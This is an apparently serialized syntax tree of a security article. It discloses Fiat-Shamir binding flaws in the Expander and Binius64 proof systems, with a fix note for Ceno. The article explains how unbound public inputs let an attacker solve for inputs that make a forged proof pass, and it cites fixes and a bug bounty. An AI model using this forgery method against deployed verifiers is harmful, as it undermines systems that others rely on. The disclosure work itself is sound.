,{"type":23,"tag":504,"props":122843,"children":122844},{},[],{"type":23,"tag":504,"props":122846,"children":122848},{"className":122847,"style":1426},[537],[],{"type":23,"tag":504,"props":122850,"children":122852},{"className":122851},[1431],[122853],{"type":29,"value":113088},{"type":23,"tag":504,"props":122855,"children":122857},{"className":122856,"style":1426},[537],[],{"type":23,"tag":504,"props":122859,"children":122861},{"className":122860},[518],[122862,122866,122923,122927,122932],{"type":23,"tag":504,"props":122863,"children":122865},{"className":122864,"style":122434},[523],[],{"type":23,"tag":504,"props":122867,"children":122869},{"className":122868},[529],[122870,122875],{"type":23,"tag":504,"props":122871,"children":122873},{"className":122872},[529,530],[122874],{"type":29,"value":21327},{"type":23,"tag":504,"props":122876,"children":122878},{"className":122877},[666],[122879],{"type":23,"tag":504,"props":122880,"children":122882},{"className":122881},[671,672],[122883,122912],{"type":23,"tag":504,"props":122884,"children":122886},{"className":122885},[677],[122887,122907],{"type":23,"tag":504,"props":122888,"children":122890},{"className":122889,"style":683},[682],[122891],{"type":23,"tag":504,"props":122892,"children":122893},{"style":687},[122894,122898],{"type":23,"tag":504,"props":122895,"children":122897},{"className":122896,"style":693},[692],[],{"type":23,"tag":504,"props":122899,"children":122901},{"className":122900},[698,699,700,701],[122902],{"type":23,"tag":504,"props":122903,"children":122905},{"className":122904},[529,701],[122906],{"type":29,"value":826},{"type":23,"tag":504,"props":122908,"children":122910},{"className":122909},[712],[122911],{"type":29,"value":715},{"type":23,"tag":504,"props":122913,"children":122915},{"className":122914},[677],[122916],{"type":23,"tag":504,"props":122917,"children":122919},{"className":122918,"style":723},[682],[122920],{"type":23,"tag":504,"props":122921,"children":122922},{},[],{"type":23,"tag":504,"props":122924,"children":122926},{"className":122925,"style":1426},[537],[],{"type":23,"tag":504,"props":122928,"children":122930},{"className":122929},[1431],[122931],{"type":29,"value":6422},{"type":23,"tag":504,"props":122933,"children":122935},{"className":122934,"style":1426},[537],[],{"type":23,"tag":504,"props":122937,"children":122939},{"className":122938},[518],[122940,122944,122949,122953,122958],{"type":23,"tag":504,"props":122941,"children":122943},{"className":122942,"style":524},[523],[],{"type":23,"tag":504,"props":122945,"children":122947},{"className":122946},[529,530],[122948],{"type":29,"value":584},{"type":23,"tag":504,"props":122950,"children":122952},{"className":122951,"style":538},[537],[],{"type":23,"tag":504,"props":122954,"children":122956},{"className":122955},[543],[122957],{"type":29,"value":546},{"type":23,"tag":504,"props":122959,"children":122961},{"className":122960,"style":538},[537],[],{"type":23,"tag":504,"props":122963,"children":122965},{"className":122964},[518],[122966,122970],{"type":23,"tag":504,"props":122967,"children":122969},{"className":122968,"style":1690},[523],[],{"type":23,"tag":504,"props":122971,"children":122973},{"className":122972},[529],[122974],{"type":29,"value":708},{"type":23,"tag":32,"props":122976,"children":122977},{},[122978],{"type":29,"value":122979},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":32,"props":122981,"children":122982},{},[122983,122987,122989,122996,122998,123005],{"type":23,"tag":38,"props":122984,"children":122985},{},[122986],{"type":29,"value":118536},{"type":29,"value":122988}," Fixed on March 5, 2026 via ",{"type":23,"tag":68,"props":122990,"children":122993},{"href":122991,"rel":122992},"https://github.com/scroll-tech/ceno/pull/1262",[72],[122994],{"type":29,"value":122995},"PR #1262",{"type":29,"value":122997}," (original report: ",{"type":23,"tag":68,"props":122999,"children":123002},{"href":123000,"rel":123001},"https://github.com/scroll-tech/ceno/issues/1125",[72],[123003],{"type":29,"value":123004},"#1125",{"type":29,"value":933},{"type":23,"tag":20844,"props":123007,"children":123008},{},[],{"type":23,"tag":320,"props":123010,"children":123012},{"id":123011},"expander-polyhedra",[123013],{"type":29,"value":123014},"Expander (Polyhedra)",{"type":23,"tag":32,"props":123016,"children":123017},{},[123018],{"type":29,"value":123019},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":32,"props":123021,"children":123022},{},[123023],{"type":23,"tag":38,"props":123024,"children":123025},{},[123026],{"type":29,"value":117242},{"type":23,"tag":4743,"props":123028,"children":123030},{"code":123029},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[123031],{"type":23,"tag":154,"props":123032,"children":123033},{"__ignoreMap":7},[123034],{"type":29,"value":123029},{"type":23,"tag":32,"props":123036,"children":123037},{},[123038,123040,123046],{"type":29,"value":123039},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":154,"props":123041,"children":123043},{"className":123042},[],[123044],{"type":29,"value":123045},"eval_cst",{"type":29,"value":123047}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":4743,"props":123049,"children":123051},{"code":123050,"language":5008,"meta":7,"className":5009,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[123052],{"type":23,"tag":154,"props":123053,"children":123054},{"__ignoreMap":7},[123055],{"type":23,"tag":504,"props":123056,"children":123057},{"class":5016,"line":5017},[123058,123062,123067,123072,123076,123080,123084,123088,123093,123097,123102,123107,123111,123116],{"type":23,"tag":504,"props":123059,"children":123060},{"style":5041},[123061],{"type":29,"value":78697},{"type":23,"tag":504,"props":123063,"children":123064},{"style":5047},[123065],{"type":29,"value":123066}," -=",{"type":23,"tag":504,"props":123068,"children":123069},{"style":5467},[123070],{"type":29,"value":123071}," GKRVerifierHelper",{"type":23,"tag":504,"props":123073,"children":123074},{"style":5047},[123075],{"type":29,"value":5530},{"type":23,"tag":504,"props":123077,"children":123078},{"style":5139},[123079],{"type":29,"value":123045},{"type":23,"tag":504,"props":123081,"children":123082},{"style":5058},[123083],{"type":29,"value":603},{"type":23,"tag":504,"props":123085,"children":123086},{"style":5047},[123087],{"type":29,"value":5151},{"type":23,"tag":504,"props":123089,"children":123090},{"style":5041},[123091],{"type":29,"value":123092},"layer",{"type":23,"tag":504,"props":123094,"children":123095},{"style":5047},[123096],{"type":29,"value":357},{"type":23,"tag":504,"props":123098,"children":123099},{"style":5058},[123100],{"type":29,"value":123101},"const_, ",{"type":23,"tag":504,"props":123103,"children":123104},{"style":5041},[123105],{"type":29,"value":123106},"public_input",{"type":23,"tag":504,"props":123108,"children":123109},{"style":5058},[123110],{"type":29,"value":4367},{"type":23,"tag":504,"props":123112,"children":123113},{"style":5041},[123114],{"type":29,"value":123115},"sp",{"type":23,"tag":504,"props":123117,"children":123118},{"style":5058},[123119],{"type":29,"value":5888},{"type":23,"tag":32,"props":123121,"children":123122},{},[123123,123125,123130],{"type":29,"value":123124},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":154,"props":123126,"children":123128},{"className":123127},[],[123129],{"type":29,"value":123115},{"type":29,"value":161},{"type":23,"tag":32,"props":123132,"children":123133},{},[123134],{"type":23,"tag":38,"props":123135,"children":123136},{},[123137],{"type":29,"value":123138},"The vulnerability:",{"type":23,"tag":32,"props":123140,"children":123141},{},[123142,123147],{"type":23,"tag":154,"props":123143,"children":123145},{"className":123144},[],[123146],{"type":29,"value":123106},{"type":29,"value":123148}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":32,"props":123150,"children":123151},{},[123152],{"type":23,"tag":199,"props":123153,"children":123156},{"alt":123154,"src":123155},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":32,"props":123158,"children":123159},{},[123160,123161,123166],{"type":29,"value":18661},{"type":23,"tag":154,"props":123162,"children":123164},{"className":123163},[],[123165],{"type":29,"value":123045},{"type":29,"value":123167}," function computes a linear combination:",{"type":23,"tag":32,"props":123169,"children":123170},{},[123171],{"type":23,"tag":154,"props":123172,"children":123174},{"className":123173},[500,501],[123175],{"type":23,"tag":504,"props":123176,"children":123178},{"className":123177},[507],[123179],{"type":23,"tag":504,"props":123180,"children":123182},{"className":123181,"ariaHidden":513},[512],[123183,123228,123352],{"type":23,"tag":504,"props":123184,"children":123186},{"className":123185},[518],[123187,123191,123200,123205,123215,123219,123224],{"type":23,"tag":504,"props":123188,"children":123190},{"className":123189,"style":2073},[523],[],{"type":23,"tag":504,"props":123192,"children":123194},{"className":123193},[529,29],[123195],{"type":23,"tag":504,"props":123196,"children":123198},{"className":123197},[529],[123199],{"type":29,"value":39605},{"type":23,"tag":504,"props":123201,"children":123203},{"className":123202,"style":624},[529],[123204],{"type":29,"value":627},{"type":23,"tag":504,"props":123206,"children":123208},{"className":123207},[529,29],[123209],{"type":23,"tag":504,"props":123210,"children":123212},{"className":123211},[529],[123213],{"type":29,"value":123214},"cst",{"type":23,"tag":504,"props":123216,"children":123218},{"className":123217,"style":538},[537],[],{"type":23,"tag":504,"props":123220,"children":123222},{"className":123221},[543],[123223],{"type":29,"value":546},{"type":23,"tag":504,"props":123225,"children":123227},{"className":123226,"style":538},[537],[],{"type":23,"tag":504,"props":123229,"children":123231},{"className":123230},[518],[123232,123236,123293,123297,123324,123329,123334,123339,123343,123348],{"type":23,"tag":504,"props":123233,"children":123235},{"className":123234,"style":558},[523],[],{"type":23,"tag":504,"props":123237,"children":123239},{"className":123238},[23673],[123240,123245],{"type":23,"tag":504,"props":123241,"children":123243},{"className":123242,"style":23680},[23673,23678,23679],[123244],{"type":29,"value":110621},{"type":23,"tag":504,"props":123246,"children":123248},{"className":123247},[666],[123249],{"type":23,"tag":504,"props":123250,"children":123252},{"className":123251},[671,672],[123253,123282],{"type":23,"tag":504,"props":123254,"children":123256},{"className":123255},[677],[123257,123277],{"type":23,"tag":504,"props":123258,"children":123260},{"className":123259,"style":116033},[682],[123261],{"type":23,"tag":504,"props":123262,"children":123263},{"style":23703},[123264,123268],{"type":23,"tag":504,"props":123265,"children":123267},{"className":123266,"style":693},[692],[],{"type":23,"tag":504,"props":123269,"children":123271},{"className":123270},[698,699,700,701],[123272],{"type":23,"tag":504,"props":123273,"children":123275},{"className":123274},[529,530,701],[123276],{"type":29,"value":578},{"type":23,"tag":504,"props":123278,"children":123280},{"className":123279},[712],[123281],{"type":29,"value":715},{"type":23,"tag":504,"props":123283,"children":123285},{"className":123284},[677],[123286],{"type":23,"tag":504,"props":123287,"children":123289},{"className":123288,"style":116313},[682],[123290],{"type":23,"tag":504,"props":123291,"children":123292},{},[],{"type":23,"tag":504,"props":123294,"children":123296},{"className":123295,"style":2274},[537],[],{"type":23,"tag":504,"props":123298,"children":123300},{"className":123299},[529],[123301,123310,123315],{"type":23,"tag":504,"props":123302,"children":123304},{"className":123303},[529,29],[123305],{"type":23,"tag":504,"props":123306,"children":123308},{"className":123307},[529],[123309],{"type":29,"value":63737},{"type":23,"tag":504,"props":123311,"children":123313},{"className":123312,"style":624},[529],[123314],{"type":29,"value":627},{"type":23,"tag":504,"props":123316,"children":123318},{"className":123317},[529,29],[123319],{"type":23,"tag":504,"props":123320,"children":123322},{"className":123321},[529],[123323],{"type":29,"value":10412},{"type":23,"tag":504,"props":123325,"children":123327},{"className":123326},[600],[123328],{"type":29,"value":1380},{"type":23,"tag":504,"props":123330,"children":123332},{"className":123331},[529,530],[123333],{"type":29,"value":578},{"type":23,"tag":504,"props":123335,"children":123337},{"className":123336},[930],[123338],{"type":29,"value":1422},{"type":23,"tag":504,"props":123340,"children":123342},{"className":123341,"style":1426},[537],[],{"type":23,"tag":504,"props":123344,"children":123346},{"className":123345},[1431],[123347],{"type":29,"value":113088},{"type":23,"tag":504,"props":123349,"children":123351},{"className":123350,"style":1426},[537],[],{"type":23,"tag":504,"props":123353,"children":123355},{"className":123354},[518],[123356,123360,123369,123374,123379,123384,123388,123437],{"type":23,"tag":504,"props":123357,"children":123359},{"className":123358,"style":2160},[523],[],{"type":23,"tag":504,"props":123361,"children":123363},{"className":123362},[529,29],[123364],{"type":23,"tag":504,"props":123365,"children":123367},{"className":123366},[529],[123368],{"type":29,"value":114415},{"type":23,"tag":504,"props":123370,"children":123372},{"className":123371},[600],[123373],{"type":29,"value":603},{"type":23,"tag":504,"props":123375,"children":123377},{"className":123376},[529,530],[123378],{"type":29,"value":578},{"type":23,"tag":504,"props":123380,"children":123382},{"className":123381},[2267],[123383],{"type":29,"value":2270},{"type":23,"tag":504,"props":123385,"children":123387},{"className":123386,"style":2274},[537],[],{"type":23,"tag":504,"props":123389,"children":123391},{"className":123390},[529,113975],[123392],{"type":23,"tag":504,"props":123393,"children":123395},{"className":123394},[671],[123396],{"type":23,"tag":504,"props":123397,"children":123399},{"className":123398},[677],[123400],{"type":23,"tag":504,"props":123401,"children":123403},{"className":123402,"style":114061},[682],[123404,123416],{"type":23,"tag":504,"props":123405,"children":123406},{"style":113992},[123407,123411],{"type":23,"tag":504,"props":123408,"children":123410},{"className":123409,"style":113997},[692],[],{"type":23,"tag":504,"props":123412,"children":123414},{"className":123413,"style":624},[529,530],[123415],{"type":29,"value":1477},{"type":23,"tag":504,"props":123417,"children":123418},{"style":113992},[123419,123423],{"type":23,"tag":504,"props":123420,"children":123422},{"className":123421,"style":113997},[692],[],{"type":23,"tag":504,"props":123424,"children":123426},{"className":123425,"style":114085},[114015],[123427],{"type":23,"tag":504,"props":123428,"children":123430},{"className":123429,"style":114091},[114090],[123431],{"type":23,"tag":36329,"props":123432,"children":123433},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[123434],{"type":23,"tag":114103,"props":123435,"children":123436},{"d":114105},[],{"type":23,"tag":504,"props":123438,"children":123440},{"className":123439},[930],[123441],{"type":29,"value":933},{"type":23,"tag":32,"props":123443,"children":123444},{},[123445,123446,123515,123517,123522,123524,123529],{"type":29,"value":117662},{"type":23,"tag":154,"props":123447,"children":123449},{"className":123448},[500,501],[123450],{"type":23,"tag":504,"props":123451,"children":123453},{"className":123452},[507],[123454],{"type":23,"tag":504,"props":123455,"children":123457},{"className":123456,"ariaHidden":513},[512],[123458],{"type":23,"tag":504,"props":123459,"children":123461},{"className":123460},[518],[123462,123466],{"type":23,"tag":504,"props":123463,"children":123465},{"className":123464,"style":114061},[523],[],{"type":23,"tag":504,"props":123467,"children":123469},{"className":123468},[529,113975],[123470],{"type":23,"tag":504,"props":123471,"children":123473},{"className":123472},[671],[123474],{"type":23,"tag":504,"props":123475,"children":123477},{"className":123476},[677],[123478],{"type":23,"tag":504,"props":123479,"children":123481},{"className":123480,"style":114061},[682],[123482,123494],{"type":23,"tag":504,"props":123483,"children":123484},{"style":113992},[123485,123489],{"type":23,"tag":504,"props":123486,"children":123488},{"className":123487,"style":113997},[692],[],{"type":23,"tag":504,"props":123490,"children":123492},{"className":123491,"style":624},[529,530],[123493],{"type":29,"value":1477},{"type":23,"tag":504,"props":123495,"children":123496},{"style":113992},[123497,123501],{"type":23,"tag":504,"props":123498,"children":123500},{"className":123499,"style":113997},[692],[],{"type":23,"tag":504,"props":123502,"children":123504},{"className":123503,"style":114085},[114015],[123505],{"type":23,"tag":504,"props":123506,"children":123508},{"className":123507,"style":114091},[114090],[123509],{"type":23,"tag":36329,"props":123510,"children":123511},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[123512],{"type":23,"tag":114103,"props":123513,"children":123514},{"d":114105},[],{"type":29,"value":123516}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":154,"props":123518,"children":123520},{"className":123519},[],[123521],{"type":29,"value":123106},{"type":29,"value":123523},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":154,"props":123525,"children":123527},{"className":123526},[],[123528],{"type":29,"value":123106},{"type":29,"value":123530}," that makes the verifier's check pass.",{"type":23,"tag":32,"props":123532,"children":123533},{},[123534,123538,123540,123547,123548,123551,123558],{"type":23,"tag":38,"props":123535,"children":123536},{},[123537],{"type":29,"value":118536},{"type":29,"value":123539}," Fixed on 21st January 2026 via ",{"type":23,"tag":68,"props":123541,"children":123544},{"href":123542,"rel":123543},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[72],[123545],{"type":29,"value":123546},"commit 4a8c2be",{"type":29,"value":1698},{"type":23,"tag":33024,"props":123549,"children":123550},{},[],{"type":23,"tag":68,"props":123552,"children":123555},{"href":123553,"rel":123554},"https://blog.polyhedra.network/expander-bug-bounty/",[72],[123556],{"type":29,"value":123557},"Claimed 500k Bug bounty",{"type":29,"value":123559}," award pending",{"type":23,"tag":20844,"props":123561,"children":123562},{},[],{"type":23,"tag":320,"props":123564,"children":123566},{"id":123565},"binius64",[123567],{"type":29,"value":109669},{"type":23,"tag":32,"props":123569,"children":123570},{},[123571,123573,123700],{"type":29,"value":123572},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":154,"props":123574,"children":123576},{"className":123575},[500,501],[123577],{"type":23,"tag":504,"props":123578,"children":123580},{"className":123579},[507],[123581],{"type":23,"tag":504,"props":123582,"children":123584},{"className":123583,"ariaHidden":513},[512],[123585],{"type":23,"tag":504,"props":123586,"children":123588},{"className":123587},[518],[123589,123594],{"type":23,"tag":504,"props":123590,"children":123593},{"className":123591,"style":123592},[523],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":504,"props":123595,"children":123597},{"className":123596},[529],[123598,123605],{"type":23,"tag":504,"props":123599,"children":123602},{"className":123600},[529,123601],"mathbb",[123603],{"type":29,"value":123604},"F",{"type":23,"tag":504,"props":123606,"children":123608},{"className":123607},[666],[123609],{"type":23,"tag":504,"props":123610,"children":123612},{"className":123611},[671,672],[123613,123688],{"type":23,"tag":504,"props":123614,"children":123616},{"className":123615},[677],[123617,123683],{"type":23,"tag":504,"props":123618,"children":123620},{"className":123619,"style":114158},[682],[123621],{"type":23,"tag":504,"props":123622,"children":123624},{"style":123623},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[123625,123629],{"type":23,"tag":504,"props":123626,"children":123628},{"className":123627,"style":693},[692],[],{"type":23,"tag":504,"props":123630,"children":123632},{"className":123631},[698,699,700,701],[123633],{"type":23,"tag":504,"props":123634,"children":123636},{"className":123635},[529,701],[123637],{"type":23,"tag":504,"props":123638,"children":123640},{"className":123639},[529,701],[123641,123646],{"type":23,"tag":504,"props":123642,"children":123644},{"className":123643},[529,701],[123645],{"type":29,"value":5164},{"type":23,"tag":504,"props":123647,"children":123649},{"className":123648},[666],[123650],{"type":23,"tag":504,"props":123651,"children":123653},{"className":123652},[671],[123654],{"type":23,"tag":504,"props":123655,"children":123657},{"className":123656},[677],[123658],{"type":23,"tag":504,"props":123659,"children":123662},{"className":123660,"style":123661},[682],"height:0.7463em;",[123663],{"type":23,"tag":504,"props":123664,"children":123665},{"style":114283},[123666,123670],{"type":23,"tag":504,"props":123667,"children":123669},{"className":123668,"style":110686},[692],[],{"type":23,"tag":504,"props":123671,"children":123673},{"className":123672},[698,110691,110692,701],[123674],{"type":23,"tag":504,"props":123675,"children":123677},{"className":123676},[529,701],[123678],{"type":23,"tag":504,"props":123679,"children":123681},{"className":123680},[529,701],[123682],{"type":29,"value":31902},{"type":23,"tag":504,"props":123684,"children":123686},{"className":123685},[712],[123687],{"type":29,"value":715},{"type":23,"tag":504,"props":123689,"children":123691},{"className":123690},[677],[123692],{"type":23,"tag":504,"props":123693,"children":123696},{"className":123694,"style":123695},[682],"height:0.1776em;",[123697],{"type":23,"tag":504,"props":123698,"children":123699},{},[],{"type":29,"value":123701}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":32,"props":123703,"children":123704},{},[123705,123707,123712],{"type":29,"value":123706},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":38,"props":123708,"children":123709},{},[123710],{"type":29,"value":123711},"Shift Protocol",{"type":29,"value":123713}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":32,"props":123715,"children":123716},{},[123717],{"type":23,"tag":38,"props":123718,"children":123719},{},[123720],{"type":29,"value":123138},{"type":23,"tag":32,"props":123722,"children":123723},{},[123724],{"type":29,"value":123725},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":4743,"props":123727,"children":123729},{"code":123728,"language":5008,"meta":7,"className":5009,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123730],{"type":23,"tag":154,"props":123731,"children":123732},{"__ignoreMap":7},[123733,123768,123793,123827,123835],{"type":23,"tag":504,"props":123734,"children":123735},{"class":5016,"line":5017},[123736,123740,123744,123748,123752,123756,123760,123764],{"type":23,"tag":504,"props":123737,"children":123738},{"style":5030},[123739],{"type":29,"value":15736},{"type":23,"tag":504,"props":123741,"children":123742},{"style":5030},[123743],{"type":29,"value":15741},{"type":23,"tag":504,"props":123745,"children":123746},{"style":5139},[123747],{"type":29,"value":10211},{"type":23,"tag":504,"props":123749,"children":123750},{"style":5058},[123751],{"type":29,"value":2658},{"type":23,"tag":504,"props":123753,"children":123754},{"style":5467},[123755],{"type":29,"value":123604},{"type":23,"tag":504,"props":123757,"children":123758},{"style":5058},[123759],{"type":29,"value":4367},{"type":23,"tag":504,"props":123761,"children":123762},{"style":5467},[123763],{"type":29,"value":118055},{"type":23,"tag":504,"props":123765,"children":123766},{"style":5058},[123767],{"type":29,"value":8632},{"type":23,"tag":504,"props":123769,"children":123770},{"class":5016,"line":4868},[123771,123776,123780,123784,123789],{"type":23,"tag":504,"props":123772,"children":123773},{"style":5041},[123774],{"type":29,"value":123775},"    constraint_system",{"type":23,"tag":504,"props":123777,"children":123778},{"style":5047},[123779],{"type":29,"value":6533},{"type":23,"tag":504,"props":123781,"children":123782},{"style":5047},[123783],{"type":29,"value":9185},{"type":23,"tag":504,"props":123785,"children":123786},{"style":5467},[123787],{"type":29,"value":123788},"ConstraintSystem",{"type":23,"tag":504,"props":123790,"children":123791},{"style":5058},[123792],{"type":29,"value":5557},{"type":23,"tag":504,"props":123794,"children":123795},{"class":5016,"line":4876},[123796,123800,123804,123808,123812,123817,123822],{"type":23,"tag":504,"props":123797,"children":123798},{"style":5041},[123799],{"type":29,"value":9566},{"type":23,"tag":504,"props":123801,"children":123802},{"style":5047},[123803],{"type":29,"value":6533},{"type":23,"tag":504,"props":123805,"children":123806},{"style":5047},[123807],{"type":29,"value":9185},{"type":23,"tag":504,"props":123809,"children":123810},{"style":5058},[123811],{"type":29,"value":1380},{"type":23,"tag":504,"props":123813,"children":123814},{"style":5467},[123815],{"type":29,"value":123816},"Word",{"type":23,"tag":504,"props":123818,"children":123819},{"style":5058},[123820],{"type":29,"value":123821},"],    ",{"type":23,"tag":504,"props":123823,"children":123824},{"style":5021},[123825],{"type":29,"value":123826},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":504,"props":123828,"children":123829},{"class":5016,"line":5099},[123830],{"type":23,"tag":504,"props":123831,"children":123832},{"style":5021},[123833],{"type":29,"value":123834},"    // ...\n",{"type":23,"tag":504,"props":123836,"children":123837},{"class":5016,"line":5203},[123838,123842,123846,123850,123854,123859,123863,123867,123871,123875],{"type":23,"tag":504,"props":123839,"children":123840},{"style":5058},[123841],{"type":29,"value":5128},{"type":23,"tag":504,"props":123843,"children":123844},{"style":5047},[123845],{"type":29,"value":15803},{"type":23,"tag":504,"props":123847,"children":123848},{"style":5467},[123849],{"type":29,"value":15808},{"type":23,"tag":504,"props":123851,"children":123852},{"style":5058},[123853],{"type":29,"value":2658},{"type":23,"tag":504,"props":123855,"children":123856},{"style":5467},[123857],{"type":29,"value":123858},"VerifyOutput",{"type":23,"tag":504,"props":123860,"children":123861},{"style":5058},[123862],{"type":29,"value":2658},{"type":23,"tag":504,"props":123864,"children":123865},{"style":5467},[123866],{"type":29,"value":123604},{"type":23,"tag":504,"props":123868,"children":123869},{"style":5058},[123870],{"type":29,"value":8674},{"type":23,"tag":504,"props":123872,"children":123873},{"style":5467},[123874],{"type":29,"value":39455},{"type":23,"tag":504,"props":123876,"children":123877},{"style":5058},[123878],{"type":29,"value":8038},{"type":23,"tag":32,"props":123880,"children":123881},{},[123882,123884,123890,123891,123897,123899,123903],{"type":29,"value":123883},"In the shift protocol, challenges ",{"type":23,"tag":154,"props":123885,"children":123887},{"className":123886},[],[123888],{"type":29,"value":123889},"r_j",{"type":29,"value":4478},{"type":23,"tag":154,"props":123892,"children":123894},{"className":123893},[],[123895],{"type":29,"value":123896},"inout_eval_point",{"type":29,"value":123898}," are sampled ",{"type":23,"tag":38,"props":123900,"children":123901},{},[123902],{"type":29,"value":106370},{"type":29,"value":123904}," the public witness is bound.",{"type":23,"tag":32,"props":123906,"children":123907},{},[123908],{"type":23,"tag":38,"props":123909,"children":123910},{},[123911],{"type":29,"value":117258},{"type":23,"tag":32,"props":123913,"children":123914},{},[123915],{"type":23,"tag":199,"props":123916,"children":123919},{"alt":123917,"src":123918},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":32,"props":123921,"children":123922},{},[123923],{"type":29,"value":123924},"During verification",{"type":23,"tag":139,"props":123926,"children":123927},{},[123928,123948,123960,123979],{"type":23,"tag":143,"props":123929,"children":123930},{},[123931,123933,123938,123940,123946],{"type":29,"value":123932},"Sumcheck produces challenge points ",{"type":23,"tag":154,"props":123934,"children":123936},{"className":123935},[],[123937],{"type":29,"value":123889},{"type":29,"value":123939}," (bit indices) and ",{"type":23,"tag":154,"props":123941,"children":123943},{"className":123942},[],[123944],{"type":29,"value":123945},"r_s",{"type":29,"value":123947}," (shift indices)",{"type":23,"tag":143,"props":123949,"children":123950},{},[123951,123953,123958],{"type":29,"value":123952},"Verifier samples ",{"type":23,"tag":154,"props":123954,"children":123956},{"className":123955},[],[123957],{"type":29,"value":123896},{"type":29,"value":123959}," from transcript",{"type":23,"tag":143,"props":123961,"children":123962},{},[123963,123965,123971,123973,123978],{"type":29,"value":123964},"Verifier computes ",{"type":23,"tag":154,"props":123966,"children":123968},{"className":123967},[],[123969],{"type":29,"value":123970},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":123972}," using the unbound ",{"type":23,"tag":154,"props":123974,"children":123976},{"className":123975},[],[123977],{"type":29,"value":63737},{"type":29,"value":20183},{"type":23,"tag":143,"props":123980,"children":123981},{},[123982,123983,123989],{"type":29,"value":18661},{"type":23,"tag":154,"props":123984,"children":123986},{"className":123985},[],[123987],{"type":29,"value":123988},"public_eval",{"type":29,"value":123990}," feeds into subsequent verification equations",{"type":23,"tag":32,"props":123992,"children":123993},{},[123994],{"type":29,"value":123995},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":32,"props":123997,"children":123998},{},[123999],{"type":23,"tag":154,"props":124000,"children":124002},{"className":124001},[500,501],[124003],{"type":23,"tag":504,"props":124004,"children":124006},{"className":124005},[507],[124007],{"type":23,"tag":504,"props":124008,"children":124010},{"className":124009,"ariaHidden":513},[512],[124011,124055,124195,124307],{"type":23,"tag":504,"props":124012,"children":124014},{"className":124013},[518],[124015,124019,124028,124033,124042,124046,124051],{"type":23,"tag":504,"props":124016,"children":124018},{"className":124017,"style":2073},[523],[],{"type":23,"tag":504,"props":124020,"children":124022},{"className":124021},[529,29],[124023],{"type":23,"tag":504,"props":124024,"children":124026},{"className":124025},[529],[124027],{"type":29,"value":63737},{"type":23,"tag":504,"props":124029,"children":124031},{"className":124030,"style":624},[529],[124032],{"type":29,"value":627},{"type":23,"tag":504,"props":124034,"children":124036},{"className":124035},[529,29],[124037],{"type":23,"tag":504,"props":124038,"children":124040},{"className":124039},[529],[124041],{"type":29,"value":39605},{"type":23,"tag":504,"props":124043,"children":124045},{"className":124044,"style":538},[537],[],{"type":23,"tag":504,"props":124047,"children":124049},{"className":124048},[543],[124050],{"type":29,"value":546},{"type":23,"tag":504,"props":124052,"children":124054},{"className":124053,"style":538},[537],[],{"type":23,"tag":504,"props":124056,"children":124058},{"className":124057},[518],[124059,124063,124135,124139,124152,124157,124162,124167,124172,124177,124182,124186,124191],{"type":23,"tag":504,"props":124060,"children":124062},{"className":124061,"style":120588},[523],[],{"type":23,"tag":504,"props":124064,"children":124066},{"className":124065},[23673],[124067,124072],{"type":23,"tag":504,"props":124068,"children":124070},{"className":124069,"style":23680},[23673,23678,23679],[124071],{"type":29,"value":110621},{"type":23,"tag":504,"props":124073,"children":124075},{"className":124074},[666],[124076],{"type":23,"tag":504,"props":124077,"children":124079},{"className":124078},[671,672],[124080,124124],{"type":23,"tag":504,"props":124081,"children":124083},{"className":124082},[677],[124084,124119],{"type":23,"tag":504,"props":124085,"children":124087},{"className":124086,"style":115498},[682],[124088],{"type":23,"tag":504,"props":124089,"children":124090},{"style":23703},[124091,124095],{"type":23,"tag":504,"props":124092,"children":124094},{"className":124093,"style":693},[692],[],{"type":23,"tag":504,"props":124096,"children":124098},{"className":124097},[698,699,700,701],[124099],{"type":23,"tag":504,"props":124100,"children":124102},{"className":124101},[529,701],[124103,124109,124114],{"type":23,"tag":504,"props":124104,"children":124107},{"className":124105,"style":124106},[529,530,701],"margin-right:0.02691em;",[124108],{"type":29,"value":51635},{"type":23,"tag":504,"props":124110,"children":124112},{"className":124111},[2267,701],[124113],{"type":29,"value":2270},{"type":23,"tag":504,"props":124115,"children":124117},{"className":124116},[529,530,701],[124118],{"type":29,"value":3003},{"type":23,"tag":504,"props":124120,"children":124122},{"className":124121},[712],[124123],{"type":29,"value":715},{"type":23,"tag":504,"props":124125,